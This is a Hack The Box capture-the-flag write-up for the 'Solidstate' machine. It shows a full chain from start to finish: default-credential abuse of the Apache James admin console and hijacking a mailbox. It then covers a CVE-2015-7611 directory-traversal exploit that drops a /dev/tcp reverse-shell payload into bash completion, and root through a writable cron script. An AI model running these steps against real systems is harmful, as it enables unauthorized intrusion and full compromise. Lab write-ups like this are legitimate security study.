PT1 certified | OSCP in progress

Solidstate – HTB writeup

Reconnaissance & Service Discovery

First, a fast port scan was conducted using rustscan to identify open TCP ports:

rustscan -a 10.10.10.51 --range 1-65535 -- -sVC

The scan revealed the following ports:

  • Port 22 (SSH): Open, running OpenSSH.
  • Port 25 (SMTP): Open, running Apache James SMTP.
  • Port 80 (HTTP): Open, running Apache HTTP Server.
  • Port 110 (POP3): Open, running Apache James POP3.
  • Port 119 (NNTP): Open, running Apache James NNTP.
  • Port 4555 (Remote Administration): Open, service unidentified by standard script scan.

Connecting to the unknown service on port 4555 using telnet confirmed it was the Apache James Remote Administration Tool 2.3.2:

telnet 10.10.10.51 4555

It requested administrator credentials. Researching the service revealed standard default credentials of root / root.


Initial Access & Restricted Shell Bypass

1. Enumerating Mailboxes

By logging into the Remote Administration port using the default credentials, we listed all registered users on the mail server:

listusers

Existing users:

  • james
  • thomas
  • john
  • mindy
  • mailadmin

Since we can manage users, we reset mindy‘s password to read her mailbox:

setpassword mindy mindy

Next, we connected to the POP3 service on port 110 using telnet to inspect her emails:

telnet 10.10.10.51 110

Authentication:

USER mindy
PASS mindy

Checking the messages:

LIST

We retrieved the second email:

RETR 2

This email contained SSH credentials for the user mindy on the machine.

2. Apache James Directory Traversal (CVE-2015-7611)

Logging in via SSH directly as mindy drops us into a restricted shell (rbash), limiting our command execution capability. To bypass this restriction and obtain a fully interactive, unrestricted shell, we exploited a directory traversal vulnerability in Apache James 2.3.2.

When creating a new user, Apache James constructs the mail storage directory path using the username without checking for directory traversal sequences. By creating a user with directory traversal characters, we can target /etc/bash_completion.d/:

  1. Log in to the administration console (port 4555): telnet 10.10.10.51 4555
  2. Create a user targeting the bash completion folder: adduser ../../../../etc/bash_completion.d exploit
  3. Connect to the SMTP server on port 25 to send an email to the newly created user: telnet 10.10.10.51 25 Provide the SMTP commands to write our reverse shell payload: HELO attacker.local MAIL FROM: <attacker@attacker.local> RCPT TO: <../../../../etc/bash_completion.d> DATA # # sh -i >& /dev/tcp/10.10.14.23/9001 0>&1 . Note: Apache James writes the email headers and body to the destination file. Prefixing the payload with # ensures that the headers are treated as comments when bash completion sources the script.
  4. Spawn a listener on the attacker machine (e.g., using penelope or nc): nc -lvnp 9001
  5. Authenticate via SSH with mindy’s credentials: ssh mindy@10.10.10.51 When the SSH login succeeds, bash is initialized and sources the scripts under /etc/bash_completion.d/. This executes our reverse shell script and provides an unrestricted shell on our listener.

Privilege Escalation

After establishing a stable shell as mindy, we enumerated the system for privilege escalation vectors. Inspecting the /opt directory revealed a Python script named tmp.py which appears to remove temporary files from /tmp.

To check if it was being executed periodically, we transferred and ran the pspy binary (used to monitor processes without root privileges).
Using the penelope listener file upload feature:

  1. Press F12 inside the penelope terminal session.
  2. Run the command: upload /usr/share/pspy/pspy32
  3. Mark it executable and run it on the target system: chmod +x pspy32 ./pspy32

The pspy output confirmed that every 3 minutes, a root cronjob executes:

/bin/sh -c python /opt/tmp.py

Checking the permissions of /opt/tmp.py:

ls -la /opt/tmp.py

The file was writable by the mindy user. We modified the script to grant SUID permissions to /bin/bash instead of clearing /tmp:

echo 'import os; os.system("chmod u+s /bin/bash")' > /opt/tmp.py

We monitored /bin/bash permissions:

watch -n 1 "ls -la /bin/bash"

After a few minutes, the SUID bit (s) appeared on /bin/bash. We then spawned a root shell by executing:

/bin/bash -p
Index